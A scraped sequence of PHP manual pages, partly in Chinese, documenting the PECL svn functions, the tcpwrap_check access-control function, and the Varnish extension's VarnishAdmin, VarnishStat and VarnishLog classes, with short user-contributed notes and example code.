Warning: svn_ls(): svn error(s) occured 160013 (Filesystem has no item) URL 'file:///var/svn/myrepo/dirA/another\ dir' non-existent in that revision in file.php on line 42


Creates a directory in a working copy or repository

  • ? svn_ls
  • svn_repos_create ?
  • PHP Manual
  • SVN 函数
  • Creates a directory in a working copy or repository

svn_mkdir

(PECL svn >= 0.4.0)

svn_mkdir — Creates a directory in a working copy or repository

说明

svn_mkdir(string $path, string $log_message = ?): bool

Creates a directory in a working copy or repository.

参数

path

The path to the working copy or repository.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • svn_add() - 在工作目录列入新增项
  • svn_copy()

User Contributed Notes

ckozler at ckozler dot net 14-Feb-2012 05:25
I would just like to note that there is either an error in the documentation or a bug in the code. When you run svn_mkdir it returns FALSE even on success. As an example you can do

<?php

var_dump( svn_mkdir( "/path/to/your/repo/mydir" ) );

?>

And youll see that the output is

bool(false)


Create a new subversion repository at path

  • ? svn_mkdir
  • svn_repos_fs_begin_txn_for_commit ?
  • PHP Manual
  • SVN 函数
  • Create a new subversion repository at path

svn_repos_create

(PECL svn >= 0.1.0)

svn_repos_create — Create a new subversion repository at path

说明

svn_repos_create(string $path, array $config = ?, array $fsconfig = ?): resource
Warning

本函数还未编写文档，仅有参数列表。

Create a new subversion repository at path

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Create a new transaction

  • ? svn_repos_create
  • svn_repos_fs_commit_txn ?
  • PHP Manual
  • SVN 函数
  • Create a new transaction

svn_repos_fs_begin_txn_for_commit

(PECL svn >= 0.2.0)

svn_repos_fs_begin_txn_for_commit — Create a new transaction

说明

svn_repos_fs_begin_txn_for_commit(
resource $repos,
int $rev,
string $author,
string $log_msg
): resource
Warning

本函数还未编写文档，仅有参数列表。

Create a new transaction

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Commits a transaction and returns the new revision

  • ? svn_repos_fs_begin_txn_for_commit
  • svn_repos_fs ?
  • PHP Manual
  • SVN 函数
  • Commits a transaction and returns the new revision

svn_repos_fs_commit_txn

(PECL svn >= 0.2.0)

svn_repos_fs_commit_txn — Commits a transaction and returns the new revision

说明

svn_repos_fs_commit_txn(resource $txn): int
Warning

本函数还未编写文档，仅有参数列表。

Commits a transaction and returns the new revision

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Gets a handle on the filesystem for a repository

  • ? svn_repos_fs_commit_txn
  • svn_repos_hotcopy ?
  • PHP Manual
  • SVN 函数
  • Gets a handle on the filesystem for a repository

svn_repos_fs

(PECL svn >= 0.1.0)

svn_repos_fs — Gets a handle on the filesystem for a repository

说明

svn_repos_fs(resource $repos): resource
Warning

本函数还未编写文档，仅有参数列表。

Gets a handle on the filesystem for a repository

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Make a hot-copy of the repos at repospath; copy it to destpath

  • ? svn_repos_fs
  • svn_repos_open ?
  • PHP Manual
  • SVN 函数
  • Make a hot-copy of the repos at repospath; copy it to destpath

svn_repos_hotcopy

(PECL svn >= 0.1.0)

svn_repos_hotcopy — Make a hot-copy of the repos at repospath; copy it to destpath

说明

svn_repos_hotcopy(string $repospath, string $destpath, bool $cleanlogs): bool
Warning

本函数还未编写文档，仅有参数列表。

Make a hot-copy of the repos at repospath; copy it to destpath

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Open a shared lock on a repository

  • ? svn_repos_hotcopy
  • svn_repos_recover ?
  • PHP Manual
  • SVN 函数
  • Open a shared lock on a repository

svn_repos_open

(PECL svn >= 0.1.0)

svn_repos_open — Open a shared lock on a repository

说明

svn_repos_open(string $path): resource
Warning

本函数还未编写文档，仅有参数列表。

Open a shared lock on a repository.

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Run recovery procedures on the repository located at path

  • ? svn_repos_open
  • svn_revert ?
  • PHP Manual
  • SVN 函数
  • Run recovery procedures on the repository located at path

svn_repos_recover

(PECL svn >= 0.1.0)

svn_repos_recover — Run recovery procedures on the repository located at path

说明

svn_repos_recover(string $path): bool
Warning

本函数还未编写文档，仅有参数列表。

Run recovery procedures on the repository located at path.

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Revert changes to the working copy

  • ? svn_repos_recover
  • svn_status ?
  • PHP Manual
  • SVN 函数
  • Revert changes to the working copy

svn_revert

(PECL svn >= 0.3.0)

svn_revert — Revert changes to the working copy

说明

svn_revert(string $path, bool $recursive = false): bool

Revert any local changes to the path in a working copy.

参数

path

The path to the working repository.

recursive

Optionally make recursive changes.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • svn_delete() - Delete items from a working copy or repository
  • svn_export() - Export the contents of a SVN directory

User Contributed Notes

There are no user contributed notes for this page.


Returns the status of working copy files and directories

  • ? svn_revert
  • svn_update ?
  • PHP Manual
  • SVN 函数
  • Returns the status of working copy files and directories

svn_status

(PECL svn >= 0.1.0)

svn_status — Returns the status of working copy files and directories

说明

svn_status(string $path, int $flags = 0): array

Returns the status of working copy files and directories, giving modifications, additions, deletions and other changes to items in the working copy.

参数

path

Local path to file or directory to retrieve status of.

Note: 相对路径将会以PHP执行文件所在目录作为当前工作目录进行解析。如果希望依据脚本所在目录解析, 使用realpath() 或 dirname(__FILE__)。

flags

Any combination of Svn::NON_RECURSIVE, Svn::ALL (regardless of modification status), Svn::SHOW_UPDATES (entries will be added for items that are out-of-date), Svn::NO_IGNORE (disregard svn:ignore properties when scanning for new files) and Svn::IGNORE_EXTERNALS.

返回值

Returns a numerically indexed array of associative arrays detailing the status of items in the repository:

Array (
    [0] => Array (
        // information on item
    )
    [1] => ...
)

The information on the item is an associative array that can contain the following keys:

path
String path to file/directory of this entry on local filesystem.
text_status
Status of item's text. 参见 状态常量列表 获得可能的值.
repos_text_status
Status of item's text in repository. Only accurate if update was set to true. 参见 状态常量列表 获得可能的值.
prop_status
Status of item's properties. 参见 状态常量列表 获得可能的值.
repos_prop_status
Status of item's property in repository. Only accurate if update was set to true. 参见 状态常量列表 获得可能的值.
locked
Whether or not the item is locked. (Only set if true.)
copied
Whether or not the item was copied (scheduled for addition with history). (Only set if true.)
switched
Whether or not the item was switched using the switch command. (Only set if true)

These keys are only set if the item is versioned:

name
Base name of item in repository.
url
URL of item in repository.
repos
Base URL of repository.
revision
Integer revision of item in working copy.
kind
Type of item, i.e. file or directory. 参见 类型常量列表 获取可能的值.
schedule
Scheduled action for item, i.e. addition or deletion. Constants for these magic numbers are not available, they can be emulated by using:
<?php
if (!defined('svn_wc_schedule_normal')) {
define('svn_wc_schedule_normal', 0); // nothing special
define('svn_wc_schedule_add', 1); // item will be added
define('svn_wc_schedule_delete', 2); // item will be deleted
define('svn_wc_schedule_replace', 3); // item will be added and deleted
}
?>
deleted
Whether or not the item was deleted, but parent revision lags behind. (Only set if true.)
absent
Whether or not the item is absent, that is, Subversion knows that there should be something there but there isn't. (Only set if true.)
incomplete
Whether or not the entries file for a directory is incomplete. (Only set if true.)
cmt_date
Integer Unix timestamp of last commit date. (Unaffected by update.)
cmt_rev
Integer revision of last commit. (Unaffected by update.)
cmt_author
String author of last commit. (Unaffected by update.)
prop_time
Integer Unix timestamp of last up-to-date time for properties
text_time
Integer Unix timestamp of last up-to-date time for text

示例

Example #1 Basic example

This example demonstrates a basic, theoretical usage of this function.

<?php
print_r(svn_status(realpath('wc')));
?>

以上示例的输出类似于：

Array (
    [0] => Array (
        [path] => /home/bob/wc/sandwich.txt
        [text_status] => 8 // item was modified
        [repos_text_status] => 1 // no information available, use update
        [prop_status] => 3 // no changes
        [repos_prop_status] => 1 // no information available, use update
        [name] => sandwich.txt
        [url] => http://www.example.com/svnroot/deli/trunk/sandwich.txt
        [repos] => http://www.example.com/svnroot/
        [revision] => 123
        [kind] => 1 // file
        [schedule] => 0 // no special actions scheduled
        [cmt_date] => 1165543135
        [cmt_rev] => 120
        [cmt_author] => Alice
        [prop_time] => 1180201728
        [text_time] => 1180201729
    )
)

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • svn_update() - Update working copy
  • svn_log() - Returns the commit log messages of a repository URL
  • » SVN documentation for svn status

User Contributed Notes

matthijs at fragfrog dot nl 20-Jul-2011 01:03
There seems to be an undocumented function svn_info (arguably the proper name for this functionality) that does almost the same as svn_status, but ignores the second parameter.

Unfortunately, neither can directly be used to just retrieve the current revision of a working copy, but a combination of svn_status and SVN_NON_RECURSIVE|SVN_ALL will work; simply perform the following command:

<?php
svn_status(ROOT,  SVN_NON_RECURSIVE|SVN_ALL);
?>

Where ROOT is of course the root of the working directory you wish to examine. One of the entries will be that working directory, including its current status.


Update working copy

  • ? svn_status
  • TCP ?
  • PHP Manual
  • SVN 函数
  • Update working copy

svn_update

(PECL svn >= 0.1.0)

svn_update — Update working copy

说明

svn_update(string $path, int $revno = SVN_REVISION_HEAD, bool $recurse = true): int

Update working copy at path to revision revno. If recurse is true, directories will be recursively updated.

参数

path

Path to local working copy.

Note: 相对路径将会以PHP执行文件所在目录作为当前工作目录进行解析。如果希望依据脚本所在目录解析, 使用realpath() 或 dirname(__FILE__)。

revno

Revision number to update to, default is SVN_REVISION_HEAD.

recurse

Whether or not to recursively update directories.

返回值

Returns new revision number on success, returns false on failure.

示例

Example #1 Basic example

This example demonstrates basic usage of this function:

<?php
echo svn_update(realpath('working-copy'));
?>

以上示例的输出类似于：

234

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • svn_checkout() - Checks out a working copy from the repository
  • svn_commit() - 将修改的本地文件副本发送至版本库
  • » SVN documentation for svn update

User Contributed Notes

There are no user contributed notes for this page.


TCP Wrappers

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • TCP 函数
    • tcpwrap_check — Performs a tcpwrap check

User Contributed Notes

There are no user contributed notes for this page.


简介

The TCP wrappers provides a classical Unix mechanism which has been designed to check if the remote client is able to connect from the given IP address.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/tcpwrap.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

There are no user contributed notes for this page.


TCP 函数

Table of Contents

  • tcpwrap_check — Performs a tcpwrap check

User Contributed Notes

There are no user contributed notes for this page.


Performs a tcpwrap check

  • ? TCP 函数
  • Varnish ?
  • PHP Manual
  • TCP 函数
  • Performs a tcpwrap check

tcpwrap_check

(PECL tcpwrap >= 0.1.0)

tcpwrap_check — Performs a tcpwrap check

说明

tcpwrap_check(
string $daemon,
string $address,
string $user = ?,
bool $nodns = false
): bool

This function consults the /etc/hosts.allow and /etc/hosts.deny files to check if access to service daemon should be granted or denied for a client.

参数

daemon

The service name.

address

The client remote address. Can be either an IP address or a domain name.

user

An optional user name.

nodns

If address looks like domain name then DNS is used to resolve it to IP address; set nodns to true to avoid this.

返回值

This function returns true if access should be granted, false otherwise.

示例

Example #1 Deny all connections from localhost

If your /etc/hosts.deny file contains:

php: 127.0.0.1

And your code looks like:

<?php
if (!tcpwrap_check('php', $_SERVER['REMOTE_ADDR'])) {
die('You are not welcome here');
}
?>

参见

For more details please consult hosts_access(3) man page.

User Contributed Notes

There are no user contributed notes for this page.


Varnish

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • Basic VarnishAdmin usage
    • Basic VarnishStat usage
    • Basic VarnishLog usage
  • VarnishAdmin — The VarnishAdmin class
    • VarnishAdmin::auth — Authenticate on a varnish instance
    • VarnishAdmin::ban — Ban URLs using a VCL expression
    • VarnishAdmin::banUrl — Ban an URL using a VCL expression
    • VarnishAdmin::clearPanic — Clear varnish instance panic messages
    • VarnishAdmin::connect — Connect to a varnish instance administration interface
    • VarnishAdmin::__construct — VarnishAdmin constructor
    • VarnishAdmin::disconnect — Disconnect from a varnish instance administration interface
    • VarnishAdmin::getPanic — Get the last panic message on a varnish instance
    • VarnishAdmin::getParams — Fetch current varnish instance configuration parameters
    • VarnishAdmin::isRunning — Check if the varnish slave process is currently running
    • VarnishAdmin::setCompat — Set the class compat configuration param
    • VarnishAdmin::setHost — Set the class host configuration param
    • VarnishAdmin::setIdent — Set the class ident configuration param
    • VarnishAdmin::setParam — Set configuration param on the current varnish instance
    • VarnishAdmin::setPort — Set the class port configuration param
    • VarnishAdmin::setSecret — Set the class secret configuration param
    • VarnishAdmin::setTimeout — Set the class timeout configuration param
    • VarnishAdmin::start — Start varnish worker process
    • VarnishAdmin::stop — Stop varnish worker process
  • VarnishStat — The VarnishStat class
    • VarnishStat::__construct — VarnishStat constructor
    • VarnishStat::getSnapshot — Get the current varnish instance statistics snapshot
  • VarnishLog — The VarnishLog class
    • VarnishLog::__construct — Varnishlog constructor
    • VarnishLog::getLine — Get next log line
    • VarnishLog::getTagName — Get the log tag string representation by its index

User Contributed Notes

There are no user contributed notes for this page.


简介

Varnish Cache is an open source, state of the art web application accelerator. The extension makes it possible to interact with a running varnish instance through TCP socket or shared memory.

User Contributed Notes

There are no user contributed notes for this page.


需求

To use this extension, you will need Varnish Cache of the version >=3.0 installed, available on the » Varnish Cache homepage

User Contributed Notes

info at getpagespeed dot com 31-May-2019 08:17
It works fine with Varnish 4, open source version. Varnish Plus is not required.
redactedprofile at gmail dot com 06-Aug-2015 06:41
Thank you Adrian Hernandez http://php.net/manual/en/varnish.requirements.php#115883

Yes this manual should be updated to make note of this.

may I ask simply why this requires Plus? I just lost hours implementing this only to see the extension refuses to load on my prod server :\
Adrian Hernandez-Lopez 08-Oct-2014 10:51
It should be mention that Varnish PLUS is required.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/varnish.

A DLL for this PECL extension is available under » http://windows.php.net/downloads/pecl/releases/varnish/.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

VARNISH_STATUS_SYNTAX (int)
VARNISH_STATUS_UNKNOWN (int)
VARNISH_STATUS_UNIMPL (int)
VARNISH_STATUS_TOOFEW (int)
VARNISH_STATUS_TOOMANY (int)
VARNISH_STATUS_PARAM (int)
VARNISH_STATUS_AUTH (int)
VARNISH_STATUS_OK (int)
VARNISH_STATUS_CANT (int)
VARNISH_STATUS_COMMS (int)
VARNISH_STATUS_CLOSE (int)
VARNISH_CONFIG_IDENT (string)
VARNISH_CONFIG_HOST (string)
VARNISH_CONFIG_PORT (string)
VARNISH_CONFIG_TIMEOUT (string)
VARNISH_CONFIG_SECRET (string)
VARNISH_CONFIG_COMPAT (string)
VARNISH_COMPAT_2 (int)
VARNISH_COMPAT_3 (int)

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • Basic VarnishAdmin usage
  • Basic VarnishStat usage
  • Basic VarnishLog usage

User Contributed Notes

There are no user contributed notes for this page.


Basic VarnishAdmin usage

The example illustrates a simple usage of the ban functionality

Example #1 Ban an URL

<?php

$args = array(
VARNISH_CONFIG_HOST => "::1",
VARNISH_CONFIG_PORT => 6082,
VARNISH_CONFIG_SECRET => "5174826b-8595-4958-aa7a-0609632ad7ca",
VARNISH_CONFIG_TIMEOUT => 300,
);

$va = new VarnishAdmin($args);

try {
if(!$va->connect()) {
throw new VarnishException("Connection failed\n");
}
} catch (VarnishException $e) {
echo $e->getMessage();
exit(3);
}

try {
if(!$va->auth()) {
throw new VarnishException("Auth failed\n");
}
} catch (VarnishException $e) {
echo $e->getMessage();
exit(3);
}

try {
$status = $va->ban('req.url ~ "^/$"');
if (VARNISH_STATUS_OK != $status) {
throw new VarnishException("Ban method returned $status status\n");
}
} catch (VarnishException $e) {
echo $e->getMessage();
exit(3);
}

exit(0);

?>

User Contributed Notes

sarfraz dot qasim at gmail dot com 03-Sep-2012 08:57
This code worked for me with couple of changes after installing PECL.

Here is the updated code.

<?php

$args = array(
    VARNISH_CONFIG_HOST    => "127.0.0.1",
    VARNISH_CONFIG_PORT    => 6082,
    VARNISH_CONFIG_SECRET  => "5174826b-8595-4958-aa7a-0609632ad7ca",
    VARNISH_CONFIG_TIMEOUT => 300,
);

$va = new VarnishAdmin($args);

try {
    if(!$va->connect()) {
        throw new VarnishException("Connection failed\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

try {
    if(!$va->auth()) {
        throw new VarnishException("Auth failed\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

try {
    $status = $va->ban('req.url ~ "^/."');
    if (VARNISH_STATUS_OK != $status) {
        throw new VarnishException("Ban method returned $status status\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

exit(0);

?>

Hope this helps.


Basic VarnishStat usage

The example illustrates getting varnish statistic snapshot from shared memory

Example #1 Get statistic snapshot

<?php

$vs = new VarnishStat;

try {
$data = $vs->getSnapshot();
} catch (VarnishException $e) {
echo $e->getMessage();
exit(3);
}

exit(0);
?>

User Contributed Notes

There are no user contributed notes for this page.


Basic VarnishLog usage

The example illustrates reading varnish log lines from shared memory

Example #1 Read varnish shared memory log

<?php

$vl = new VarnishLog;
while(1) {
$line = $vl->getLine();
printf("%s %d %s", VarnishLog::getTagName($line['tag']), $line['id'],
$line['data']);
}

exit(0);
?>

User Contributed Notes

There are no user contributed notes for this page.


The VarnishAdmin class

(PECL varnish >= 0.3)

简介

类摘要

class VarnishAdmin {
/* 方法 */
public auth(): bool
public ban(string $vcl_regex): int
public banUrl(string $vcl_regex): int
public clearPanic(): int
public connect(): bool
public __construct(array $args = ?)
public disconnect(): bool
public getPanic(): string
public getParams(): array
public isRunning(): bool
public setCompat(int $compat): void
public setHost(string $host): void
public setIdent(string $ident): void
public setParam(string $name, string|int $value): int
public setPort(int $port): void
public setSecret(string $secret): void
public setTimeout(int $timeout): void
public start(): int
public stop(): int
}

Table of Contents

  • VarnishAdmin::auth — Authenticate on a varnish instance
  • VarnishAdmin::ban — Ban URLs using a VCL expression
  • VarnishAdmin::banUrl — Ban an URL using a VCL expression
  • VarnishAdmin::clearPanic — Clear varnish instance panic messages
  • VarnishAdmin::connect — Connect to a varnish instance administration interface
  • VarnishAdmin::__construct — VarnishAdmin constructor
  • VarnishAdmin::disconnect — Disconnect from a varnish instance administration interface
  • VarnishAdmin::getPanic — Get the last panic message on a varnish instance
  • VarnishAdmin::getParams — Fetch current varnish instance configuration parameters
  • VarnishAdmin::isRunning — Check if the varnish slave process is currently running
  • VarnishAdmin::setCompat — Set the class compat configuration param
  • VarnishAdmin::setHost — Set the class host configuration param
  • VarnishAdmin::setIdent — Set the class ident configuration param
  • VarnishAdmin::setParam — Set configuration param on the current varnish instance
  • VarnishAdmin::setPort — Set the class port configuration param
  • VarnishAdmin::setSecret — Set the class secret configuration param
  • VarnishAdmin::setTimeout — Set the class timeout configuration param
  • VarnishAdmin::start — Start varnish worker process
  • VarnishAdmin::stop — Stop varnish worker process

User Contributed Notes

There are no user contributed notes for this page.


Authenticate on a varnish instance

  • ? VarnishAdmin
  • VarnishAdmin::ban ?
  • PHP Manual
  • VarnishAdmin
  • Authenticate on a varnish instance

VarnishAdmin::auth

(PECL varnish >= 0.3)

VarnishAdmin::auth — Authenticate on a varnish instance

说明

public VarnishAdmin::auth(): bool

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Ban URLs using a VCL expression

  • ? VarnishAdmin::auth
  • VarnishAdmin::banUrl ?
  • PHP Manual
  • VarnishAdmin
  • Ban URLs using a VCL expression

VarnishAdmin::ban

(PECL varnish >= 0.3)

VarnishAdmin::ban — Ban URLs using a VCL expression

说明

public VarnishAdmin::ban(string $vcl_regex): int

参数

vcl_regex

Varnish VCL expression. It's based on the varnish ban command.

返回值

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.


Ban an URL using a VCL expression

  • ? VarnishAdmin::ban
  • VarnishAdmin::clearPanic ?
  • PHP Manual
  • VarnishAdmin
  • Ban an URL using a VCL expression

VarnishAdmin::banUrl

(PECL varnish >= 0.3)

VarnishAdmin::banUrl — Ban an URL using a VCL expression

说明

public VarnishAdmin::banUrl(string $vcl_regex): int

参数

vcl_regex

URL regular expression in PCRE compatible syntax. It's based on the ban.url varnish command.

返回值

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.


Clear varnish instance panic messages

  • ? VarnishAdmin::banUrl
  • VarnishAdmin::connect ?
  • PHP Manual
  • VarnishAdmin
  • Clear varnish instance panic messages

VarnishAdmin::clearPanic

(PECL varnish >= 0.4)

VarnishAdmin::clearPanic — Clear varnish instance panic messages

说明

public VarnishAdmin::clearPanic(): int

参数

此函数没有参数。

返回值

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.


Connect to a varnish instance administration interface

  • ? VarnishAdmin::clearPanic
  • VarnishAdmin::__construct ?
  • PHP Manual
  • VarnishAdmin
  • Connect to a varnish instance administration interface

VarnishAdmin::connect

(PECL varnish >= 0.3)

VarnishAdmin::connect — Connect to a varnish instance administration interface

说明

public VarnishAdmin::connect(): bool

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


VarnishAdmin constructor

  • ? VarnishAdmin::connect
  • VarnishAdmin::disconnect ?
  • PHP Manual
  • VarnishAdmin
  • VarnishAdmin constructor

VarnishAdmin::__construct

(PECL varnish >= 0.3)

VarnishAdmin::__construct — VarnishAdmin constructor

说明

public VarnishAdmin::__construct(array $args = ?)

参数

args

Configuration arguments. The possible keys are:

VARNISH_CONFIG_IDENT - local varnish instance ident
VARNISH_CONFIG_HOST - varnish instance ip
VARNISH_CONFIG_PORT - varnish instance port
VARNISH_CONFIG_SECRET - varnish instance secret
VARNISH_CONFIG_TIMEOUT - connection read timeout
VARNISH_CONFIG_COMPAT - varnish major version compatibility

返回值

示例

Example #1 VarnishAdmin::__construct() example

<?php
$args = array(
VARNISH_CONFIG_HOST => "::1",
VARNISH_CONFIG_PORT => 6082,
VARNISH_CONFIG_SECRET => "5174826b-8595-4958-aa7a-0609632ad7ca",
VARNISH_CONFIG_TIMEOUT => 300,
);
$va = new VarnishAdmin($args);
?>

User Contributed Notes

There are no user contributed notes for this page.


Disconnect from a varnish instance administration interface

  • ? VarnishAdmin::__construct
  • VarnishAdmin::getPanic ?
  • PHP Manual
  • VarnishAdmin
  • Disconnect from a varnish instance administration interface

VarnishAdmin::disconnect

(PECL varnish >= 1.0.0)

VarnishAdmin::disconnect — Disconnect from a varnish instance administration interface

说明

public VarnishAdmin::disconnect(): bool

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Get the last panic message on a varnish instance

  • ? VarnishAdmin::disconnect
  • VarnishAdmin::getParams ?
  • PHP Manual
  • VarnishAdmin
  • Get the last panic message on a varnish instance

VarnishAdmin::getPanic

(PECL varnish >= 0.4)

VarnishAdmin::getPanic — Get the last panic message on a varnish instance

说明

public VarnishAdmin::getPanic(): string

参数

此函数没有参数。

返回值

Returns the last panic message on the current varnish instance.

User Contributed Notes

There are no user contributed notes for this page.


Fetch current varnish instance configuration parameters

  • ? VarnishAdmin::getPanic
  • VarnishAdmin::isRunning ?
  • PHP Manual
  • VarnishAdmin
  • Fetch current varnish instance configuration parameters

VarnishAdmin::getParams

(PECL varnish >= 0.4)

VarnishAdmin::getParams — Fetch current varnish instance configuration parameters

说明

public VarnishAdmin::getParams(): array

参数

此函数没有参数。

返回值

Returns an array with the varnish configuration parameters.

User Contributed Notes

There are no user contributed notes for this page.


Check if the varnish slave process is currently running

  • ? VarnishAdmin::getParams
  • VarnishAdmin::setCompat ?
  • PHP Manual
  • VarnishAdmin
  • Check if the varnish slave process is currently running

VarnishAdmin::isRunning

(PECL varnish >= 0.3)

VarnishAdmin::isRunning — Check if the varnish slave process is currently running

说明

public VarnishAdmin::isRunning(): bool

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Set the class compat configuration param

  • ? VarnishAdmin::isRunning
  • VarnishAdmin::setHost ?
  • PHP Manual
  • VarnishAdmin
  • Set the class compat configuration param

VarnishAdmin::setCompat

(PECL varnish >= 0.9.2)

VarnishAdmin::setCompat — Set the class compat configuration param

说明

public VarnishAdmin::setCompat(int $compat): void

参数

compat

Varnish compatibility option.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the class host configuration param

  • ? VarnishAdmin::setCompat
  • VarnishAdmin::setIdent ?
  • PHP Manual
  • VarnishAdmin
  • Set the class host configuration param

VarnishAdmin::setHost

(PECL varnish >= 0.8)

VarnishAdmin::setHost — Set the class host configuration param

说明

public VarnishAdmin::setHost(string $host): void

参数

host

Connection host configuration parameter.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the class ident configuration param

  • ? VarnishAdmin::setHost
  • VarnishAdmin::setParam ?
  • PHP Manual
  • VarnishAdmin
  • Set the class ident configuration param

VarnishAdmin::setIdent

(PECL varnish >= 0.8)

VarnishAdmin::setIdent — Set the class ident configuration param

说明

public VarnishAdmin::setIdent(string $ident): void

参数

ident

Connection ident configuration parameter.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set configuration param on the current varnish instance

  • ? VarnishAdmin::setIdent
  • VarnishAdmin::setPort ?
  • PHP Manual
  • VarnishAdmin
  • Set configuration param on the current varnish instance

VarnishAdmin::setParam

(PECL varnish >= 0.4)

VarnishAdmin::setParam — Set configuration param on the current varnish instance

说明

public VarnishAdmin::setParam(string $name, string|int $value): int

参数

name

Varnish configuration param name.

value

Varnish configuration param value.

返回值

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.


Set the class port configuration param

  • ? VarnishAdmin::setParam
  • VarnishAdmin::setSecret ?
  • PHP Manual
  • VarnishAdmin
  • Set the class port configuration param

VarnishAdmin::setPort

(PECL varnish >= 0.8)

VarnishAdmin::setPort — Set the class port configuration param

说明

public VarnishAdmin::setPort(int $port): void

参数

port

Connection port configuration parameter.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the class secret configuration param

  • ? VarnishAdmin::setPort
  • VarnishAdmin::setTimeout ?
  • PHP Manual
  • VarnishAdmin
  • Set the class secret configuration param

VarnishAdmin::setSecret

(PECL varnish >= 0.8)

VarnishAdmin::setSecret — Set the class secret configuration param

说明

public VarnishAdmin::setSecret(string $secret): void

参数

secret

Connection secret configuration parameter.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the class timeout configuration param

  • ? VarnishAdmin::setSecret
  • VarnishAdmin::start ?
  • PHP Manual
  • VarnishAdmin
  • Set the class timeout configuration param

VarnishAdmin::setTimeout

(PECL varnish >= 0.8)

VarnishAdmin::setTimeout — Set the class timeout configuration param

说明

public VarnishAdmin::setTimeout(int $timeout): void

参数

timeout

Connection timeout configuration parameter.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Start varnish worker process

  • ? VarnishAdmin::setTimeout
  • VarnishAdmin::stop ?
  • PHP Manual
  • VarnishAdmin
  • Start varnish worker process

VarnishAdmin::start

(PECL varnish >= 0.3)

VarnishAdmin::start — Start varnish worker process

说明

public VarnishAdmin::start(): int

参数

此函数没有参数。

返回值

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.


Stop varnish worker process

  • ? VarnishAdmin::start
  • VarnishStat ?
  • PHP Manual
  • VarnishAdmin
  • Stop varnish worker process

VarnishAdmin::stop

(PECL varnish >= 0.3)

VarnishAdmin::stop — Stop varnish worker process

说明

public VarnishAdmin::stop(): int

参数

此函数没有参数。

返回值

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.


The VarnishStat class

(PECL varnish >= 0.3)

简介

类摘要

class VarnishStat {
/* 方法 */
public __construct(array $args = ?)
public getSnapshot(): array
}

Table of Contents

  • VarnishStat::__construct — VarnishStat constructor
  • VarnishStat::getSnapshot — Get the current varnish instance statistics snapshot

User Contributed Notes

There are no user contributed notes for this page.


VarnishStat constructor

  • ? VarnishStat
  • VarnishStat::getSnapshot ?
  • PHP Manual
  • VarnishStat
  • VarnishStat constructor

VarnishStat::__construct

(PECL varnish >= 0.3)

VarnishStat::__construct — VarnishStat constructor

说明

public VarnishStat::__construct(array $args = ?)

参数

args

Configuration arguments. The possible keys are:

VARNISH_CONFIG_IDENT - local varnish instance ident path

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the current varnish instance statistics snapshot

  • ? VarnishStat::__construct
  • VarnishLog ?
